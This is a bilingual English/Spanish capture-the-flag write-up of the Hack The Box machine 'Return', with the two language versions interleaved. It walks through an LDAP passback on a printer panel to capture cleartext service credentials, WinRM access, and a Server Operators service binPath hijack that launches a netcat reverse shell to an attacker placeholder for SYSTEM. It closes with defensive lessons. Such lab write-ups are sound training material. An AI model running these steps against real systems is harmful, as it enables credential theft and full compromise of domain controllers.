Return
Executive summary — Return is an Easy Windows (Active Directory) box with two very real-world techniques: an «LDAP passback» — a printer's web panel lets you configure which LDAP server it authenticates against, so we point it at our own machine to capture its credentials in the clear — and then abuse of the Server Operators group to modify a system service and run code as
SYSTEM. A printer panel → LDAP passback → WinRM → Server Operators → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.26.164 |
| Domain | return.local |
Attack map
[80] HTB Printer Admin Panel · /settings.php (LDAP config → printer.return.local)
│ LDAP passback: point the LDAP server at OUR IP → capture credentials
▼
[CREDS] return\svc-printer : 1edFg43012!!
│ svc-printer ∈ BUILTIN\Remote Management Users (enables WinRM)
▼
[WINRM] evil-winrm as svc-printer (user.txt)
│ svc-printer ∈ BUILTIN\Server Operators (can modify services)
▼
[SYSTEM] sc config VSS binpath=...nc64.exe → sc start VSS → SYSTEM shell (root.txt)
1. Reconnaissance
We start with a full TCP port scan, without host discovery (we know it's alive) and without DNS resolution, to save time:
nmap -p- --min-rate 10000 -oA nmap-alltcp 10.129.26.164
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
What matters:
53(DNS) +88(Kerberos) +389/636/3268/3269(LDAP/LDAPS + Global Catalog) +445(SMB) is the classic signature of an Active Directory Domain Controller. With WinRM (5985) also open: if we get valid credentials, we log in remotely with Evil-WinRM without needing any other vulnerability.
We rescan just the discovered ports with version detection and default scripts, to confirm services and banners:
nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap-services 10.129.26.164
80/tcp open http Microsoft IIS httpd 10.0
389/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Port 80 serves a web app on IIS, 389 confirms AD LDAP, and 5985 confirms WinRM.
Resumen ejecutivo — Return es una Windows (Active Directory) Easy con dos técnicas muy de la vida real: un «LDAP passback» — el panel web de una impresora deja configurar a qué servidor LDAP se autentica, así que lo apuntamos a nuestra propia máquina para capturar sus credenciales en claro — y luego un abuso del grupo Server Operators para modificar un servicio del sistema y ejecutar código como
SYSTEM. Recorrido panel de impresora → LDAP passback → WinRM → Server Operators → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.26.164 |
| Dominio | return.local |
Mapa del ataque
[80] HTB Printer Admin Panel · /settings.php (config LDAP → printer.return.local)
│ LDAP passback: apuntar el servidor LDAP a NUESTRA IP → capturar credenciales
▼
[CREDS] return\svc-printer : 1edFg43012!!
│ svc-printer ∈ BUILTIN\Remote Management Users (habilita WinRM)
▼
[WINRM] evil-winrm como svc-printer (user.txt)
│ svc-printer ∈ BUILTIN\Server Operators (puede modificar servicios)
▼
[SYSTEM] sc config VSS binpath=...nc64.exe → sc start VSS → shell SYSTEM (root.txt)
1. Reconocimiento
Empezamos con un escaneo de todos los puertos TCP, sin descubrimiento de host (asumimos que está vivo) y sin resolución DNS, para no perder tiempo:
nmap -p- --min-rate 10000 -oA nmap-alltcp 10.129.26.164
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
Lo que importa:
53(DNS) +88(Kerberos) +389/636/3268/3269(LDAP/LDAPS + Global Catalog) +445(SMB) es la firma clásica de un Controlador de Dominio de Active Directory. Con WinRM (5985) también abierto: si conseguimos credenciales válidas, entramos en remoto con Evil-WinRM sin necesidad de ninguna otra vulnerabilidad.
Repetimos el escaneo solo sobre los puertos encontrados, con detección de versión y scripts básicos, para confirmar servicios y banners:
nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap-services 10.129.26.164
80/tcp open http Microsoft IIS httpd 10.0
389/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
El 80 nos da una web sobre IIS, el 389 confirma LDAP de AD, y el 5985 confirma WinRM.
2. SMB enumeration
We check whether SMB allows anonymously listing shares:
crackmapexec smb 10.129.26.164 --shares
STATUS_USER_SESSION_DELETED
No useful anonymous session: we need credentials before we can pull anything over SMB. On to the web app, the other exposed service.
3. Web enumeration — printer admin panel
At http://10.129.26.164/ there's a panel called «HTB Printer Admin Panel». Browsing the site we find a configuration page:
http://10.129.26.164/settings.php
The form exposes the typical fields for a printer that authenticates against a corporate directory: Server Address, Server Port, Username and a hidden Password field. The server field defaults to printer.return.local.
4. The vulnerability — LDAP passback
The design flaw: when you click «update configuration», the server itself (not our browser) tries to connect and authenticate against whatever LDAP server is set in the form, using its own internal credentials. If we swap that field for OUR IP, the victim machine will try to authenticate against us, thinking we're its directory — and since it uses simple LDAP authentication, the credentials travel in the clear and we capture them with a plain listener. This technique is known as an «LDAP passback».
We spin up a listener on the LDAP port (389, needs root since it's a privileged port <1024) before touching anything in the web app:
sudo nc -lvnp 389
In /settings.php we change Server Address from printer.return.local to our attacker IP and click «Update»:
Server Address: <ATTACKER_IP>
[Update]
On the listener we receive the connection with the service's credentials in the clear:
return\svc-printer
1edFg43012!!
The web app tried to authenticate against our Kali thinking it was the legitimate LDAP server. This is the key point of the whole box: username
svc-printer, password1edFg43012!!, domainreturn.local.
5. Validating credentials and initial access — WinRM
Before logging in, we confirm the credentials are valid against SMB:
crackmapexec smb 10.129.26.164 -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!!
And check whether they also work for WinRM, since we saw port 5985 open:
crackmapexec winrm 10.129.26.164 -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
CrackMapExec's
Pwn3d!confirmssvc-printercan open a remote session over WinRM (it belongs toBUILTIN\Remote Management Users). We log in with Evil-WinRM:
evil-winrm -i 10.129.26.164 -u svc-printer -p '1edFg43012!!'
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
We now have a shell as return\svc-printer. We read the user flag:
cd C:\Users\svc-printer\Desktop
type user.txt
6. Internal enumeration — privileges and groups
With access confirmed, we check who we are and what token privileges we hold:
whoami
return\svc-printer
whoami /priv
SeBackupPrivilege
SeRestorePrivilege
SeLoadDriverPrivilege
SeShutdownPrivilege
SeChangeNotifyPrivilege
Interesting privileges (
SeBackupPrivilege/SeRestorePrivilegewould give another escalation route on their own), but on Return the more direct path isn't here — it's in the user's group membership.
whoami /groups
BUILTIN\Server Operators
BUILTIN\Print Operators
BUILTIN\Remote Management Users
svc-printerbelongs toBUILTIN\Server Operators: on a Domain Controller, this group can start, stop and modify system services — including their executable path (binPath). And since many services run asNT AUTHORITY\SYSTEM, whoever can change the binary a service runs gets that command executed with SYSTEM privileges.
7. Escalation — abusing the VSS service
The plan: upload an nc64.exe to the victim, reconfigure an existing service (VSS, the volume shadow copy service) to run a reverse shell instead of its legitimate binary, start it, and catch the connection as SYSTEM.
We download Netcat for Windows on Kali:
wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe
We upload it with Evil-WinRM (which can transfer files from Kali to the Windows box) and move it to C:\ProgramData, a folder usually writable by non-admin users and from which binaries can be executed:
upload nc64.exe
move nc64.exe C:\ProgramData\nc64.exe
dir C:\ProgramData\nc64.exe
We open a listener on Kali before touching the service:
nc -lvnp 443
We reconfigure the VSS service's binPath to launch a reverse shell toward our IP:
sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc64.exe -e cmd <ATTACKER_IP> 443"
Why wrap it in
cmd.exe /c: launchingnc64.exedirectly as the service's binary sometimes works, but the shell can die if the service times out on start. Having the service runcmd, andcmdlaunchnc64.exe, keeps the connection alive even if the service's own startup fails.
We start the service:
sc.exe start VSS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
This error is expected and doesn't mean the attack failed: the service doesn't respond like a legitimate Windows service would, but our command has already executed before the start-up times out.
On the Kali listener we catch the connection:
Connection received on 10.129.26.164
Microsoft Windows [Version 10.0.17763.107]
C:\Windows\system32>whoami
nt authority\system
8. Root flag
cd C:\Users\Administrator\Desktop
dir
type root.txt
If the path were different, the flag can be located by searching the whole disk: dir /s /b root.txt from C:\.
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | SMB (445) | No anonymous session | None (forces finding credentials first) |
| Foothold | Printer panel · /settings.php | LDAP passback: the server authenticates against an arbitrary client-supplied LDAP host | Cleartext credentials for svc-printer |
| Access | WinRM (5985) | Valid credentials + Remote Management Users | Initial shell as svc-printer (user.txt) |
| PrivEsc | BUILTIN\Server Operators | Can modify a service's binPath (VSS) | Code execution as NT AUTHORITY\SYSTEM (root.txt) |
Lessons learned
- LDAP passback: never let a device or application connect to a user-configurable, arbitrary LDAP server using service credentials. Use LDAPS, pin the destination (allowlist), and validate the certificate.
- Printers and other IoT/management devices store service credentials that are valuable for lateral movement across the domain: they're as legitimate a web recon target as anything else.
BUILTIN\Server Operatorsis nearly Administrator on a Domain Controller: it can take full control of the system by abusing services. Don't put service accounts there without a real need.- Windows services run as SYSTEM: whoever can modify a service's
binPath(or its binary) gets code execution with those privileges, with no exploit required. - Always check
whoami /privandwhoami /groupsafter initial access: the escalation path is almost never in the first place you look.
2. Enumeración SMB
Probamos si SMB permite listar recursos compartidos de forma anónima:
crackmapexec smb 10.129.26.164 --shares
STATUS_USER_SESSION_DELETED
Sin sesión anónima útil: necesitamos credenciales antes de poder sacar nada por SMB. Vamos a por la web, el otro servicio expuesto.
3. Enumeración web — panel de impresora
En http://10.129.26.164/ aparece un panel llamado «HTB Printer Admin Panel». Explorando el sitio encontramos una página de configuración:
http://10.129.26.164/settings.php
El formulario expone los campos típicos de una impresora que se autentica contra un directorio corporativo: Server Address, Server Port, Username y Password (oculto). El campo de servidor apunta por defecto a printer.return.local.
4. La vulnerabilidad — LDAP passback
El fallo de diseño: al pulsar «actualizar configuración», el propio servidor (no nuestro navegador) intenta conectarse y autenticarse contra el servidor LDAP indicado en el formulario, usando sus credenciales internas. Si cambiamos ese campo por NUESTRA IP, la máquina víctima intentará autenticarse contra nosotros pensando que somos su directorio — y como usa autenticación LDAP simple, las credenciales viajan en claro y las capturamos con un simple listener. Esta técnica se conoce como «LDAP passback».
Levantamos un listener en el puerto LDAP (389, requiere root por ser un puerto privilegiado <1024) antes de tocar nada en la web:
sudo nc -lvnp 389
En /settings.php cambiamos Server Address de printer.return.local a nuestra IP de atacante y pulsamos «Update»:
Server Address: <ATTACKER_IP>
[Update]
En el listener recibimos la conexión con las credenciales del servicio en claro:
return\svc-printer
1edFg43012!!
La aplicación web ha intentado autenticarse contra nuestra Kali pensando que era el servidor LDAP legítimo. Este es el punto clave de la máquina: usuario
svc-printer, contraseña1edFg43012!!, dominioreturn.local.
5. Validar credenciales y acceso inicial — WinRM
Antes de entrar, confirmamos que las credenciales son válidas contra SMB:
crackmapexec smb 10.129.26.164 -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!!
Y comprobamos si también sirven para WinRM, ya que vimos el puerto 5985 abierto:
crackmapexec winrm 10.129.26.164 -u svc-printer -p '1edFg43012!!'
[+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
El
Pwn3d!de CrackMapExec confirma quesvc-printerpuede abrir sesión remota por WinRM (pertenece aBUILTIN\Remote Management Users). Entramos con Evil-WinRM:
evil-winrm -i 10.129.26.164 -u svc-printer -p '1edFg43012!!'
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
Ya tenemos shell como return\svc-printer. Leemos la flag de usuario:
cd C:\Users\svc-printer\Desktop
type user.txt
6. Enumeración interna — privilegios y grupos
Con acceso confirmamos quiénes somos y qué privilegios de token tenemos:
whoami
return\svc-printer
whoami /priv
SeBackupPrivilege
SeRestorePrivilege
SeLoadDriverPrivilege
SeShutdownPrivilege
SeChangeNotifyPrivilege
Privilegios interesantes (
SeBackupPrivilege/SeRestorePrivilegedarían para otra vía de escalada), pero en Return el camino más directo no está aquí, sino en los grupos del usuario.
whoami /groups
BUILTIN\Server Operators
BUILTIN\Print Operators
BUILTIN\Remote Management Users
svc-printerpertenece aBUILTIN\Server Operators: en un Controlador de Dominio, este grupo puede iniciar, detener y modificar servicios del sistema — incluida su ruta de ejecución (binPath). Y como muchos servicios corren comoNT AUTHORITY\SYSTEM, quien pueda cambiar el binario que ejecuta un servicio, consigue que ese comando se ejecute con privilegios de SYSTEM.
7. Escalada — abuso del servicio VSS
La estrategia: subir un nc64.exe a la máquina víctima, reconfigurar un servicio existente (VSS, el de instantáneas de volumen) para que ejecute una reverse shell en vez de su binario legítimo, arrancarlo y recibir la conexión como SYSTEM.
Descargamos Netcat para Windows en la Kali:
wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe
Lo subimos con Evil-WinRM (que puede transferir ficheros de la Kali a la máquina Windows) y lo movemos a C:\ProgramData, una carpeta habitualmente escribible por usuarios no administradores y desde la que se pueden ejecutar binarios:
upload nc64.exe
move nc64.exe C:\ProgramData\nc64.exe
dir C:\ProgramData\nc64.exe
Abrimos un listener en la Kali antes de tocar el servicio:
nc -lvnp 443
Reconfiguramos el binPath del servicio VSS para que lance una reverse shell hacia nuestra IP:
sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc64.exe -e cmd <ATTACKER_IP> 443"
Por qué envolver en
cmd.exe /c: lanzarnc64.exedirectamente como binario del servicio a veces funciona, pero la shell puede morir si el servicio da timeout al arrancar. Que el servicio ejecutecmd, ycmdlancenc64.exe, hace que la conexión sobreviva aunque el arranque del propio servicio falle.
Arrancamos el servicio:
sc.exe start VSS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Este error es esperado y no significa que el ataque haya fallado: el servicio no responde como un servicio legítimo de Windows, pero nuestro comando ya se ha ejecutado antes de que el arranque expire.
En el listener de la Kali recibimos la conexión:
Connection received on 10.129.26.164
Microsoft Windows [Version 10.0.17763.107]
C:\Windows\system32>whoami
nt authority\system
8. Root flag
cd C:\Users\Administrator\Desktop
dir
type root.txt
Si la ruta cambiara, se puede localizar la flag buscando en todo el disco: dir /s /b root.txt desde C:\.
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Reconocimiento | SMB (445) | Sin sesión anónima | Ninguno (obliga a buscar credenciales primero) |
| Foothold | Panel de impresora · /settings.php | LDAP passback: el servidor se autentica contra un LDAP arbitrario indicado por el cliente | Credenciales en claro de svc-printer |
| Acceso | WinRM (5985) | Credenciales válidas + Remote Management Users | Shell inicial como svc-printer (user.txt) |
| PrivEsc | BUILTIN\Server Operators | Puede modificar el binPath de un servicio (VSS) | Ejecución de código como NT AUTHORITY\SYSTEM (root.txt) |
Lecciones aprendidas
- LDAP passback: nunca dejes que un dispositivo o aplicación se conecte a un servidor LDAP arbitrario configurable por el usuario, usando credenciales de servicio. Usa LDAPS, fija el destino (allowlist) y valida el certificado.
- Las impresoras y otros dispositivos IoT/de gestión guardan credenciales de servicio valiosas para moverse lateralmente por el dominio: son un objetivo de reconocimiento web tan legítimo como cualquier otro.
BUILTIN\Server Operatorses casi Administrador en un Controlador de Dominio: puede tomar el control total del sistema abusando de servicios. No metas cuentas de servicio ahí sin necesidad real.- Los servicios de Windows corren como SYSTEM: quien pueda modificar su
binPath(o su binario) obtiene ejecución de código con esos privilegios, sin necesidad de exploits. - Revisa siempre
whoami /privywhoami /groupstras el acceso inicial: la vía de escalada casi nunca está en el primer sitio donde miras.